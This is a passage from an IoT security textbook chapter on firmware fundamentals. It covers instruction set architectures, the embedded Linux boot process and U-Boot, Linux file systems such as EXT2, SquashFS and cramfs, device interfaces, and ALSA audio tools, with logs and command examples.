CISC (Complex instruction Set Computer) adopts complex instruction set. The early Motorola 6800 series, Intel 86, and 86_64 use complex instruction set architecture that is characterized by that one instruction can operate several simple instructions. As a simplified instruction set architecture, RISC (reduced instruction set computer) can use a combination of several simple instructions to operate a complex instruction. Since the number, length, and addressing mode of instructions have been streamlined, compared with CISC, their feature efficiency and parallel execution are better. Architectures that use simplified instruction set include ARM, MIPS, etc. Taking 32-bit 86 and ARM architectures as examples, Table 3.1 shows the differences between the two instruction set, feature and register. © The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2021 Q. Tang, F. Du, Internet of Things Security: Principles and Practice, https://doi.org/10.1007/978-981-15-9942-2_3
71
72
3 Basic Knowledge of Firmware
Table 3.1 Comparison of 86 and ARM architecture
Architecture 86 (complex instruction set)
ARM (simplified instruction set)
Length of instruction It is not fixed and can be 1–15 bytes 4 bytes
Number of instruction Up to 600 or more
Less than 100
Register 8 32-bit general register, segment register, flag register, etc. 31 general registers, 6 state registers
Addressing mode direct addressing, indirect addressing, base addressing, immediate addressing, register addressing, etc. immediate addressing, register addressing, register indirect addressing, multiple register addressing, based indexed addressing, etc.
Feature The microprogram needs to be called when the instruction is executed Multi-level instruction feature
CISC architecture, such as 86, is mostly used in mainframes and personal computers that require higher execution speeds. Compared with CISC, because RISC architecture has lower power consumption, it is often used in embedded devices and smart devices used by small individuals and families, including smart phones, tablets, smart watches, routers, cameras, etc. The IoT devices analyzed in this book are mostly MIPS architecture or ARM architecture with simplified instruction sets, which will be analyzed in detail in the following chapters.
3.1.2
Overview of Common Operating Systems
Operating System (OS), as the system software for managing hardware and system resources, provides abstract hardware interfaces and system call interfaces for application layer software. Figure 3.1 shows the relationship between the operating system management process, memory, file system, hardware equipment, network, I/O, etc., and the system hardware and application software. Multi-tasking and single-tasking operating systems are classified according to whether they have the ability to run multiple programs at the same time. Running multiple tasks at the same time means that by dividing the running time of the processor into time slices, the time slices of each process are assigned a scheduling order according to a certain task scheduling algorithm. Commonly used home operating systems such as Windows and Linux all use multi-tasking operating systems. RTOS (realtime operating system), which can be multi-tasking or single-tasking, is an operating system that guarantees that the process results can respond within a certain period of time. It uses different task priority scheduling algorithms to achieve
3.2 Overview of Embedded Linux System
73
User
Application
OS
Memory Mapping
Job Scheduling
File System
Device Driver
Network Connection
Security Configuration
I/O Management
Hardware
Fig. 3.1 Schematic diagram of operating system functions
its functions, and the interrupt delay needs to be responded within a fixed time. RTOS is suitable for scenarios that require fast response and high reliability. Common RTOS are VxWorks, QNX, FreeRTOS, etc. Non-RTOS does not require fast response. In order to meet the needs of different application scenarios, various platforms have created operating systems suitable for the platform. Distributed Operating System, as a component of distributed system management software, is used to manage task scheduling, network communication, resource allocation between computing nodes of the distributed system; EOS (embedded operating system) for embedded equipment performs well with limited resources. EOS includes RTOSVxWorks, QNX, eCos, embedded Linux, embedded Windows, Android, etc. The data shows that the most popular desktop operating system among home computers is Windows. Android system accounts for a large proportion of smart phones and tablet computers. The Linux operating system is mostly used in the field of servers and high-performance computing. Embedded Linux system and Android system are more widely used in IoT devices. The following is a brief introduction to the basic content of embedded Linux system and Android system.
3.2 3.2.1
Overview of Embedded Linux System Introduction
The embedded Linux system modifies the open-source Linux system source code in order to apply to embedded devices. As one of the most popular EOS, the embedded open-source Linux system follows the GPL protocol. Common embedded Linux system distributions include OpenWRT designed for smart routers, and Android
74
3 Basic Knowledge of Firmware
designed for smart phones and tablets. It is generally customized according to architecture, processor, hardware equipment, and application scenarios. This section introduces the boot loader, system boot process, kernel and user mode, file system, hardware device interface, cross compiling, debugging, etc.
3.2.2
Boot Loader
U-Boot (the Universal Boot Loader), as a commonly used boot loader for embedded systems, is used to initialize, boot the system, and load the kernel during startup. U-Boot is open-source and supports a variety of architecture, including ARM, MIPS, 86, PowerPC, Blackfin, MicroBlaze, etc.
3.2.2.1
System Boot Process
Next, take a smart speaker as an example to illustrate the system boot process of the embedded device. The smart speaker uses Texas Instruments’ OMAP (open multimedia application platform) based on ARM architecture, and its startup process is shown in Fig. 3.2. The system startup process may be different due to different usages of the boot loader of different platforms, but the general process is similar. The device first starts from the fixed address of ROM (read only memory). After the minimal system is initialized, the device is selected according to the configuration to load the first external boot loader PBL (secondary program loader), and in this example it is X-Loader. Then load X-Loader to SRAM (static random-access memory) to execute. The ROM’s selection of the device to load the X-Loader is based on the voltage of the SYSBOOT pin on the motherboard. SYSBOOT has a total of 16 pins and is represented by SYSBOOT[15:0]. Set the device startup sequence and other hardware parameters. X-Loader, whose code structure is similar to U-Boot, is a simplified branch of U-Boot. The existence of X-Loader is because the space of SRAM is small, so the functions of system initialization and loading the remaining part of the system boot program to SDRAM need to be extracted and completed in X-Loader. X-Loader continues to complete some system configuration and select the device to load the second external boot loader (U-Boot), and load U-Boot to SDRAM for execution. The U-Boot that provides the instruction line interface in the serial interface can view or configure the environment variables at startup, view the current partition information, etc. through instruction, or configure and select the partition to start the kernel. U-Boot finally transfers the right of control to the kernel that completes the system initialization and starts the user mode process. If the system is booted via SD card or NAND, the storage device needs to be formatted into a specific partition, including X-Loader partition and the file format is MLO; U-Boot partition and the file format is u-boot.bin; Linux system kernel and
Fig. 3.2 System boot process
X-Loader
ROM CODE
Load U- Boot to SDRAM and execute
Choose which device to start U-BOOT from according to configuration
Configure clock, DDR, and serial port
Load X-Loader to SRAM and execute
Choose which device to start X-Loader from according to SYSBOOT configuration
A series of system initialization work
After power on the CPU starts to execute the code in the rom from a fixed address
U- Boot
Kernel
Give control to the kernel
Provide FASTBOOT
Set environment variables and parameters at startup
Complete the remaining initialization work
Initialize user mode process
Mount the file system
Initialize interface and system configuration
Load content to SDRAM
3.2 Overview of Embedded Linux System 75
76
3 Basic Knowledge of Firmware
corresponding file format is uImage; start the script and the corresponding file is boot.scr. When the smart speaker starts the system, the startup log output by the serial interface is as follows: Code 3.1 A Speaker System Starts Log #Start X-Loader and try one by one according to the startup sequence list, and finally decide to start from MMC-1. Texas Instruments X-Loader 1.51 (Jan 31 2017 - 01:24:36) LAB126 Rev 0 Starting X-loader on mmc-0...failed! Starting X-loader on mmc-0...failed! Booting from eMMC . . . Starting X-loader on mmc-1...Reading boot sector 156780 Bytes Read from MMC #Start U-Boot Starting OS Bootloader from MMC... Starting OS Bootloader...(time = 699 ms) U-Boot 2010.06-00005-g2e50740 (Jan 30 2017 - 17:24:38) OMAP34xx/35xx-GP ES2.1, CPU-OPP2 L3-165MHz OMAP3 LAB126 board + LPDDR/NAND I2C: ready DRAM: 256 MiB MMC: OMAP SD/MMC: 0, OMAP SD/MMC: 1 Using default environment #Start UART serial interface In: serial Out: serial Err: serial OMAP3 Lab126 Rev: 0x1a Die ID #560c00029e3800000138996c1601d014 76 bytes read in 8 ms (8.8 KiB/s) 401 bytes read in 7 ms (55.7 KiB/s) failed to get powersave var 824 bytes read in 9 ms (88.9 KiB/s) Animation Version = 3 File System is consistent file found deleting update journal finished File System is consistent update journal finished Card did not respond to voltage select! Invalid uuid. Booting by block dev #Boot the kernel from the main-A partition booting ...main-A OMAP3 Lab126 Rev: 0x1a
3.2 Overview of Embedded Linux System
77
*#Print information related to the kernel Booting from mmc ... 2605664 bytes read in 550 ms (4.5 MiB/s) ## Booting kernel from Legacy Image at 82000000 ... Image Name: Linux-2.6.37 Image Type: ARM Linux Kernel Image (uncompressed) Data Size: 2605600 Bytes = 2.5 MiB Load Address: 80008000 Entry Point: 80008000 Verifying Checksum ... OK Loading Kernel Image ... OK OK #Boot kernel Starting kernel ... [ 0.000000] Trying to install type control for IRQ385 [ 0.000000] Trying to set irq flags for IRQ385 [ 0.154754] mtdoops: mtd device (mtddev=name/number) must be supplied [ 0.165008] ks8851 spi1.0: failed to read device ID [ 0.201873] codec: aic32xx_i2c_probe : snd_soc_register_codec success [ 0.246307] Power Management for TI OMAP3. [ 0.256164] drivers/rtc/hctosys.c: unable to open rtc device (rtc0) [ 2.343597] DSPLINK Module (1.65.01.05_eng) created on Date: Jan 31 2017 Time: 01:27:58 ... (omitted) shared memory /QSpeakerIn.shm created successfully. (byte_num=95232.) shared memory /QEarconIn.shm created successfully. (byte_num=16000.) shared memory /AudiodCmd.shm created successfully. (byte_num=3000.) shared memory /BMicsOut.shm created successfully. (msg_size=2, msg_num=1048575.) shared memory /BPhoneMic.shm created successfully. (msg_size=2, msg_num=16000.) shared memory /BRemoteMic.shm created successfully. (msg_size=2, msg_num=16000.) shared memory /BVoIPMic.shm created successfully. (msg_size=2, msg_num=16000.) shared memory /BPlaybackAvgPower.shm created successfully. (msg_size=4, msg_num=50.) shared memory /BTraitReport.shm created successfully. (msg_size=24, msg_num=128.) shared memory /BAsrMetadata.shm created successfully. (msg_size=1, msg_num=131072.) CMEM Shared Sizes: Audio A2D 9612 82836 Aux A2D 240276 1600276
78
3.2.2.2
3 Basic Knowledge of Firmware
U-Boot Instruction Line Interface
Generally, U-Boot provides an instruction line interface to enter the U-Boot instruction line mode by interrupting the key input when U-Boot is started. Enter “help” or “?” in U-Boot instruction line mode to view supported instructions. Table 3.2 shows the commonly used instructions. When the kernel is loaded, the environment variables of U-Boot are used to configure the necessary information. Table 3.3 shows the common environment variables. The following is an example of using printenv instruction to view the contents of environment variables in the U-Boot instruction line: Code 3.2 Example of U-Boot Environment Variables uboot> printenv #Start the instruction executed when it is not interrupted by keyboard input bootcmd=if mmc init; then if run loadbootscript; then run bootscript; else if run loaduimage; then run mmcboot; else run nandboot; fi; fi; else Table 3.2 Common U-boot instructions Full name help version printenv setenv saveenv reginfo bdinfo mmc mmc list loady ext4ls fatls base boot
Functions View the list of supported instructions View the version information Print all environment variables Set an environment variable Save the current environment variables View the register information Print motherboard related parameters View or set the current device number or partition List current mmc devices Download files from uart interface to fixed memory address View the contents of the ext2/3/4 partition of the storage device View the contents of the fat partition of the storage device View or set the offset address Continue the system startup process
Table 3.3 Common U-boot environment variables Full name baudrate ethaddr stdin stdout stderr bootargs bootcmd
Functions Serial interface baud MAC address Standard input device Standard output Standard error stream Boot parameters sent to the kernel The instruction executed when starting the kernel
3.2 Overview of Embedded Linux System
79
run nandboot; fi #baud is 115200 baudrate=115200 #The image name of the default kernel when downloading from TFTP bootfile=uImage #Memory address when loading image loadaddr=0x82000000 #Set the terminal as a serial interface device console=ttyS0,115200n8 #Parameters when starting from mmc mmcargs=setenv bootargs console=${console} root=/dev/mmcblk0p2 rw rootfstype=ext3 rootwait ...... #Time to wait for keyboard input to enter instruction line mode when U-Boot starts bootdelay=3 #Input output stream and error stream devices stdin=serial stdout=serial stderr=serial
Set environment variables with setenv, for example: uboot> setenv bootcmd 'run tftp_nfs_boot'
Set environment variables with saveenv, for example: uboot> saveenv
3.2.3
Kernel and User Mode Process
Generally, the kernel will generate two image documents after being compiled, namely vmlinux and zImage. As the original uncompressed kernel image, vmlinux is a statically linked ELF (executable and linkable format) file. The zImage with its own decompression program in the file header is a compressed kernel image (larger kernels will generate bzImage instead of zImage). The kernel format of U-Boot boot is uImage, which can be generated by mkimage provided by U-Boot. The first 64 bytes of uImage are the parameter information provided for U-Boot, including Magic header, CRC check value, time stamp, load address, image related information, etc. After 64 bytes, there are zImage document, uImage header architecture that are defined in image.h of U-Boot:
80
3 Basic Knowledge of Firmware
Table 3.4 Run levels defined by inittab
Run levels 0 1 2 3 4 5 6
Meaning Shutdown Single user mode Multi-user mode without network Multi-user mode Not used xwindow Reboot
Code 3.3 Definition of uImage Header typedef struct image_header { __be32 ih_magic; /* Magic value */ __be32 ih_hcrc; /* Header CRC check value */ __be32 ih_time; /*Image creation time */ __be32 ih_size; /* Image data size */ __be32 ih_load; /* Data load address */ __be32 ih_ep; /* Entry address */ __be32 ih_dcrc; /*Image data CRC check */ uint8_t ih_os; /* Operating system type */ uint8_t ih_arch; /* CPU architecture */ uint8_t ih_type; /* Image type */ uint8_t ih_comp; /* Compression method */ uint8_t ih_name[IH_NMLEN]; /* Image name */ } image_header_t;
When U-Boot boots the kernel, it first needs to parse the uImage header and check the CRC, then load the kernel into the load address and start execution from the entry address. The bootargs variable in U-Boot environment variables contains partition information and the partition where the root file system is located, which will be passed to the kernel as parameters. If the kernel is not compressed, it can be started directly. If the kernel is compressed, first it needs to call the self-extracting program of the compressed image header and complete the self-extracting process. After decompression, the kernel boot is entered. The kernel boot phase has the ability to judge the processor type and floating-point computing capabilities, and enable memory management, and then call the start_kernel() function to enter the kernel initialization phase. The kernel initialization phase starts from start_kernel(), then completes a series of environment settings and memory structure initialization, and ends with the creation of the first user process init. The system will search for the init program in the /sbin, /etc, and /bin directories in turn. If it doesn't work, it will execute the /bin/sh program. The init program starts the subsequent initialization of the system according to the run level defined in the / etc/inittab file, and the script that runs during the startup process is generally defined in the/etc/rc.d/init.d/directory. Table 3.4 shows the general run levels defined in inittab. The symbolic link of the startup script corresponding to the running level is stored in the /etc/rc.d/rc[run level].d/ directory. For example, the symbolic link of the script
3.2 Overview of Embedded Linux System
81
with run level 0 is placed under /etc/rc.d/rc0.d/ and linked to the script file under /etc/ rc.d/init.d/. The K or S in the file name of the link file represents the execution when exiting this run level or entering this run level. The last two digits are the startup sequence, and the startup will be in the order of string sorting. For example: Code 3.4 Symbolic Link File under /etc/rc.d/rc0.d ubuntu@ubuntu:/etc/init.d/rc0.d$ ls -lh total 0 lrwxrwxrwx 1 root root 20 Jun 13 19:58 K01alsa-utils -> ../init.d/alsautils lrwxrwxrwx 1 root root 22 Jun 13 19:58 K01avahi-daemon -> ../init.d/ avahi-daemon lrwxrwxrwx 1 root root 19 Jun 13 19:58 K01bluetooth -> ../init.d/ bluetooth lrwxrwxrwx 1 root root 22 Jun 13 19:58 K01cups-browsed -> ../init.d/ cups-browsed lrwxrwxrwx 1 root root 14 Jun 13 19:58 K01gdm3 -> ../init.d/gdm3 lrwxrwxrwx 1 root root 20 Jun 13 19:58 K01irqbalance -> ../init.d/ irqbalance lrwxrwxrwx 1 root root 20 Jun 13 19:58 K01kerneloops -> ../init.d/ kerneloops lrwxrwxrwx 1 root root 20 Jun 13 19:58 K01networking -> ../init.d/ networking ......
3.2.4
File System
3.2.4.1
EXT2/EXT3/EXT4 File System
Linux used the MINIX file system first. In 1992, EXT (EXTended filesystem), designed by Rémy Card specifically for Linux systems, solved the problems of too small partitions in the use of the MINIX file system and limited the file name length to 14 characters. In 1993, Rémy Card designed EXT2 (second EXTended filesystem) as the second-generation Linux file system, which was also the first commercial Linux file system. The space in the EXT2 partition is divided into blocks whose size may vary due to different configurations. The general block size is 1024 bytes or 4096 bytes. A fixed number of blocks form block groups. The important information required for system startup is defined in the super blocks, which is listed in the partition of 1024–2048 bytes. For different block sizes, super blocks may exist in blocks with sequence number 0 (the sequence number starts from 0) or blocks with sequence number 1. Super blocks include the magic value, the size of the blocks, the number of blocks in each block group, and the number of inodes in each block group.
82
3 Basic Knowledge of Firmware
Each blocks group descriptor is placed in the header of the blocks group and stored in the next block of the block where the super blocks are located. Code 3.5 shows the definition of the blocks group description. Code 3.5 The Definition of the Structure of Block Descriptor struct ext2_group_desc { __le32 bg_block_bitmap; /* The pointer of the bitmap data of the directing block */ __le32 bg_inode_bitmap; /* pointer of bitmap data directing inode */ __le32 bg_inode_table; /* pointer of directing inode table */ __le16 bg_free_blocks_count; /* Free blocks */ __le16 bg_free_inodes_count; /* Number of free inodes */ __le16 bg_used_dirs_count; /* Number of directories */ __le16 bg_pad; __le32 bg_reserved[3]; };
The following are several important pointers in the description structure of block groups: 1. When a pointer points to the block bitmap of the block, the size of the block is equal to the set block size. Each bit of the bitmap represents whether a block can be used. If the corresponding bit of a block is 0, it means that there is no data in the block. On the contrary, if the corresponding bit is 1, it means that there is data in the block. 2. When a pointer points to the inodes bitmap of the inode, the size of the block is equal to that of the set block. Each bit of the bitmap corresponds to an inode and represents whether the inode can be used. Inode, or index node, corresponds to a directory or file. An inode can be several blocks in size. 3. When a pointer points to the inodes table, the size of the block is larger than the block size set during initialization. Almost all information except the file name is stored in the inode table, including the file's read and write permissions, owner, size, read time, modification time, etc. Code 3.6 shows the definition of the inode table structure. Code 3.6 Definition of Inode Table Structure struct ext2_inode { __le16 i_mode; /* File access mode */ __le16 i_uid; /* Uid of the owner */ __le32 i_size; /* File size */ __le32 i_atime; /* Time of visit */ __le32 i_ctime; /* Time to create*/ __le32 i_mtime; /* Time to modify */ __le32 i_dtime; /* Time to delete */ __le16 i_gid; /* Id of all groups */ __le16 i_links_count; /* Number of links */ __le32 i_blocks; /* Number of blocks */ __le32 i_flags; /* File identifier, such as SetUID */
3.2 Overview of Embedded Linux System
83
Fig. 3.3 The structure of EXT2 file system block groups Table 3.5 Linux instruction related to EXT series file system Instruction dumpe2fs fsck df du dd fdisk mkfs mount umount
Functions Display ext2/ext3/ext4 file system information Check and repair Linux file system List the disk space usage of the file system Display disk usage of files or directories Copy or convert files in a specified format; often used in this book to read and write partition images, etc. Create or maintain partitions Create Linux file system (format) Mount the file system Unmount the file system
. . .(The rest is omitted) };
Next, we introduce the data block. A block can only be occupied by one file, but a file can occupy one block or multiple blocks. Reading the content of a file refers to reading the content of the block occupied by the corresponding inode. The directory is a special file, and the corresponding relationship between the inode number and the file name of the file in the directory is defined in the occupied block. Figure 3.3 shows the structure of a block group in a partition. EXT3 has log functions in addition to the functions of EXT2, and can provide multiple log modes and data integrity checks. As an improved version of EXT3, EXT4 optimizes the data structure of EXT3, providing higher availability and better performance. EXT4 was introduced into the Linux 2.6.19 kernel as the most used Linux file system. Table 3.5 shows the Linux instructions related to EXT4 file system operations.
3.2.4.2
SquashFS File System
Open-source SquashFS is a read-only compressed file system designed for the Linux kernel. It can compress files, inodes, and directories and supports gzip, LZMA, XZ, and other compression algorithms. SquashFS is generally used for read-only file systems or embedded devices that need to control hardware costs, including Live CD versions of Debian, Fedora, Arch Linux, etc., or embedded devices such as router’s
84
3 Basic Knowledge of Firmware
OpenWrt and DD-WRT, and Android’s system partition and userdata partition and so on. The official squashfs-tools for creating and decompressing the SquashFS file system is provided, which can be downloaded at http://squashfs.sourceforge.net/. Squashfs-tools contains mksquashfs for creating SquashFS file system, and unsquashfs for decompressing SquashFS file system. Examples of using squashfstools are shown in Codes 3.7 and 3.8. Code 3.7 Example of Using Mksquashfs $ mksquashfs ./squashfs-root/ demo.squashfs -comp xz //-comp parameter specifies the use of xz compression algorithm Parallel mksquashfs: Using 4 processors Creating 4.0 filesystem on demo.squashfs, block size 131072. [=============================================================/ ] 1665/1665 100% Exportable Squashfs 4.0 filesystem, xz compressed, data block size 131072 compressed data, compressed metadata, compressed fragments, compressed xattrs duplicates are removed Filesystem size 24357.45 Kbytes (23.79 Mbytes) 35.23% of uncompressed filesystem size (69145.07 Kbytes) Inode table size 16502 bytes (16.12 Kbytes) 24.87% of uncompressed inode table size (66351 bytes) Directory table size 17930 bytes (17.51 Kbytes) 43.92% of uncompressed directory table size (40824 bytes) Number of duplicate files found 226 Number of inodes 1815 Number of files 1244 Number of fragments 72 Number of symbolic links 479 Number of device nodes 0 Number of fifo nodes 0 Number of socket nodes 0 Number of directories 92 Number of ids (unique uids + gids) 1 Number of uids 1 marvelteam (1000) Number of gids 1 marvelteam (1000)
We can use mount instruction to directly mount the SquashFS file system as readonly, or use unsquashfs to decompress it into the directory (Code 3.8). Code 3.8 Example of unsquashfs Usage $ unsquashfs -d test-unsquashfs/ demo.squashfs //The -d parameter specifies the decompression path. If not specified, it will be decompressed to the ./squashfs-root/ folder
3.2 Overview of Embedded Linux System
85
Parallel unsquashfs: Using 4 processors 1723 inodes (2144 blocks) to write [=============================================================-] 2144/2144 100% created 1244 files created 92 directories created 479 symlinks created 0 devices created 0 fifos
3.2.4.3
Cramfs File System
As a read-only file system designed by open-source for Linux, cramfs (compressed ROM file system) is mainly used in embedded devices. The cramfs with the zlib compression algorithm and the largest capacity supporting 256M is specially designed for flash memory, and its file size cannot exceed 16M. It is decompressed in real time during access to prevent the entire file system from being decompressed into memory, and is suitable for scenarios where hardware resources need to be saved in embedded devices. We can use open-source cramfs-tools to create or decompress the cramfs file system, which is downloaded at https://sourceforge.net/projects/cramfs/. mkcramfs is used to create the cramfs file system, and cramfsck is used to decompress or verify the cramfs file system (Code 3.9). Code 3.9 Examples of the Use of mkcramfs and cramfsck //View mkcramfs instruction format $ mkcramfs usage: mkcramfs [-h] [-e edition] [-i file] [-n name] dirname outfile -h print this help -E make all warnings errors (non-zero exit status) -e edition set edition number (part of fsid) -i file insert a file image into the filesystem (requires >= 2.4.0) -n name set name of cramfs filesystem -p pad by 512 bytes for boot code -s sort directory entries (old option, ignored) -v be more verbose -z make explicit holes (requires >= 2.3.39) dirname root of the directory tree to be compressed outfile output file //Create a cramfs file system named demo.cramfs with mkcramfs $ mkcramfs cramfs-demo/ demo.cramfs Directory data: 9384 bytes Everything: 6984 kilobytes Super block: 76 bytes CRC: a5abc38f //View cramfsck instruction format $ cramfsck
86
3 Basic Knowledge of Firmware usage: cramfsck [-hv] [-x dir] file -h print this help -x dir extract into dir -v be more verbose file file to test //Use cramfsck to decompress cramfs $ cramfsck -x cramfs-demo rootfs.cramfs
3.2.5
Hardware Device Interface
3.2.5.1
Storage Device
In a Linux system, everything is regarded as a file. Most devices exist as files in the / dev directory. View the contents of the /dev directory to view the devices recognized by the current system. Storage devices are mainly distinguished based on the type of interface. Table 3.6 shows the identifier distinction. We can use dd instruction to copy the contents of the partition to the file, or copy the image to the partition: $ dd if=[inputfile] of=[outputfile]
Or we can use instructions such as mount or df to view the partition status, which was mentioned in the previous section.
3.2.5.2
Network Equipment
In the Linux system, we can use ifconfig instruction to view the network interface of the system. The system version in this example is Ubuntu 18.04.
Table 3.6 Classification of storage device identifiers Device interface IDE (integrated drive electronics)/ATA (advanced technology attachment) SATA (serial ATA)
SCSI (small computer system interface) USB (universal serial bus)
Example Generally used for hard drives and optical drives Currently used by hard drives of mainstream personal computers Hard disk, floppy drive, optical drive, printer, scanner, etc. U disk, mobile hard disk, etc.
Identifier hd[a-d]. For example, hda1 means the first partition of the first hard disk; hdb means the second hard disk sd[a-p]. For example, sda1 represents the first partition of the first storage device; sdb represents the second storage device; the order is determined by the order in which the system detects the storage device
3.2 Overview of Embedded Linux System
87
Code 3.10 View the Network Interface of the System with ifconfig $ ifconfig –a //List all interfaces with the -a parameter including unopened interfaces eno1: flags=4099 mtu 1500 ether 34:e6:d7:20:14:42 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 20 memory 0xf7d00000-f7d20000 lo: flags=73 mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 10179619 bytes 510827430 (510.8 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 10179619 bytes 510827430 (510.8 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlp3s0: flags=4163 mtu 1500 inet 192.168.0.175 netmask 255.255.255.0 broadcast 192.168.0.255 inet6 fe80::1cb5:b1ec:84b4:7ad0 prefixlen 64 scopeid 0x20 ether 80:00:0b:6b:41:b7 txqueuelen 1000 (Ethernet) RX packets 58507633 bytes 83758850490 (83.7 GB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 29699033 bytes 2814302517 (2.8 GB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
The leftmost part of the information output by instruction represents the name of the network card, for example, eno1 represents the onboard Ethernet wired network card; lo represents the loopback address; wlp3s0 is the name of the wireless network card of the machine. The instruction outputs each network card flags, mtu, MAC address (either), ip address (inet), ipv6 address (inet6), the number of received and sent data packets (RX, TX), etc. Table 3.7 shows common instructions related to network card configuration or network operation.
3.2.5.3
Audio Equipment
Speakers, translators, and other devices are regarded as important hardware structures in order to accurately and clearly wake up and voice interaction. Audio devices such as speakers and microphones are regarded as important hardware structures. Linux systems generally use ALSA (advanced linux sound architecture) as an audio interface. ALSA including the kernel driver, API library libasound, and a set of instruction tools can be downloaded from http://www.alsa-project.org/main/index. php/Main_Page.
88
3 Basic Knowledge of Firmware
Table 3.7 Instructions related to linux network card Instruction ifconfig iwconfig ifup ifdown route nslookup netstat ping telnet nc ssh wget curl tcpdump
Funtions View or configure network interface View or configure wireless network interface Start the network interface Close the network interface Display or modify the local ip routing table Query the resolution result of the domain name Query network connection and port status Test whether another host can be connected Remote login Initiate or monitor the network connection on the specified port Remote encrypted network connection Download content on remote host Remote file upload or download tool with URL syntax Data packet capture analysis tool
The instruction line tools provided by ASLA include amixer, aplay, arecord, alsamixer, etc., which are compiled by alsa-utils in the download package. Amixer and Alsamixer are the configuration tools for the sound card parameters under the instruction line and the text-based graphical interface, respectively. Aplay is used to play audio and arecord is used to record audio. This book does not introduce the sound card parameter configuration. Next, the book will use aplay and arecord as examples. Before recording and playing audio, we need to understand the basics of audio. Common audio parameters are: 1. The sample rate refers to the number of times the sound samples are taken per second when the sound waveform is digitized, in Hertz (Hz). Common sample rates are 16,000 Hz (16 kHz), 44,100 Hz (41.1 kHz), 48,000 Hz (48 kHz), etc. A high sample rate will make sound samples more resilient, but the storage space occupied by sound files will also be larger. 2. When the channel is 1, it means mono, and when the channel is 2, it means stereo; now there are four channels, 5.1 channels, etc. 3. The sample length refers to the length of a unit of audio data, generally 8 (bit) or 16 (bit). In addition, the recording format of a unit of audio sample is divided into unsigned, big-endian/little-endian, etc., which need to be specified during recording or playback. 4. Frame refers to the basic unit of a sound unit, and the length is the sample length multiplied by the number of channels. 5. The period refers to the number of frames for audio equipment to access or record audio at a time. 6. Interleaved refers to the recording method of audio data. For example, under two-channel interleaved, the sound data is stored in the first frame of the left channel and the first frame of the right channel; under non-interleaved, all the
3.2 Overview of Embedded Linux System
89
frames of the left channel will be stored first, and then all the frames of the right channel will be stored. Common audio formats are: 1. PCM (pulse code modulation), also known as raw PCM, digitizes the sound and stores the original data without any encoding and compression, and without file header and file end identifier. 2. WAV (WAVE), which can achieve lossless sound quality, is an audio format developed by Microsoft. It supports multiple encoding methods, including PCM encoding. It can use sox, ffmpeg, and other sound processing software to convert PCM audio to WAV format audio. 3. As a lossy compressed audio format, MP3 (Moving Picture Experts Group Audio Layer III) can compress the audio capacity to about one-tenth of the original. However, the human ear can hardly feel the difference in sound quality after compression. MP3 is an audio format more commonly used by popular music. To use command-line tool arecord to record audio, first need to run command 'arecord -l+' to list avaliable sound cards in system. E.g: Code 3.10 Arecord Viewing System Recording Sound Card $ arecord -l **** List of CAPTURE Hardware Devices **** card 1: PCH [HDA Intel PCH], device 0: ALC3226 Analog [ALC3226 Analog] Subdevices: 1/1 Subdevice #0: subdevice #0
In this example, the sound card that the system supports for recording is the device with serial number 0 in the sound card with serial number 1, namely “hw:1,0”. When using the following instructions to record audio, the -D parameter specifies the sound card as “hw:1,0”; the -f parameter specifies the audio quality as cd (sample rate 44,100 Hz, samples are signed 16-bit little-endian storage, stereo), which is stereo. The -d parameter specifies the recording time as 5 s. If you do not specify a sound card, the default sound card will be used. You can use arecord -L instruction to view the default sound card for recording. If you do not specify the audio file format, wav audio will be recorded by default. $ arecord –D hw:1,0 -f cd -d 5 demo.wav Recording WAVE 'demo.wav' : Signed 16 bit Little Endian, Rate 44100 Hz, Stereo
When using the following instructions to record PCM audio, in addition to the configuration mentioned in the above example, we use the -t parameter to specify the recording of raw PCM audio; the -c parameter specifies the number of channels to be 2; the -r parameter specifies that the sample rate is 44,100 Hz; the -f parameter specifies that the audio sample format is signed 16-bit little-endian storage.
90
3 Basic Knowledge of Firmware
$ arecord –D hw:1,0 -t raw -c 2 -r 44100 -d 5 -f S16_LE demo.pcm Recording raw data 'demo.pcm' : Signed 16 bit Little Endian, Rate 44100 Hz, Stereo
Similarly, we can view the sound card that can play sound in the system by using aplay -l. Using the following instruction, the relevant parameters for playing audio can be set. $ aplay -t raw -c 2 -f S16_LE -r 44100 demo.pcm Playing raw data 'demo.pcm' : Signed 16 bit Little Endian, Rate 44100 Hz, Stereo
The libasound library compiled from alsa-lib in the download package defines interfaces for setting sound card parameters, recording audio, and playing audio. The API defined in the library is the interface of the ALSA driver in the system including Control Interface, Mixer Interface, PCM Interface, and so on. The steps of the code to play audio or record audio are as follows: 1. Open a PCM interface. 2. Set audio parameters such as sample rate, number of channels, sample format, period length, and interleaved. 3. Read or write data cyclically. Each sound card has a hardware buffer area corresponding to it. The application also has a buffer area. When the sound card is running, data will be transferred between the two buffers. When playing audio, if the application program reads data at a low speed, the hardware buffer will be overwritten by new data, which is called overrun; on the contrary, when recording audio, if the application writes to the application buffer at a low speed, and the resulting hardware buffer is not written in time, this is called under run. These two situations are referred to as xrun. 4. Close the interface. Code 3.11 shows a brief sample code for playing sound. Code 3.11 Code of Calling ALSA API to Play Sound #include //ALSA API with the new version #define ALSA_PCM_NEW_HW_PARAMS_API int main() { //Parameter definition is omitted ... //Turn on the PCM device that plays audio //The parameters respectively indicate the returned device handle, sound card device name, PCM stream category, and open mode (0 means SND_PCM_NONBLOCK) //If the return value is 0, it means success, and a negative number means the corresponding error code
3.2 Overview of Embedded Linux System
91
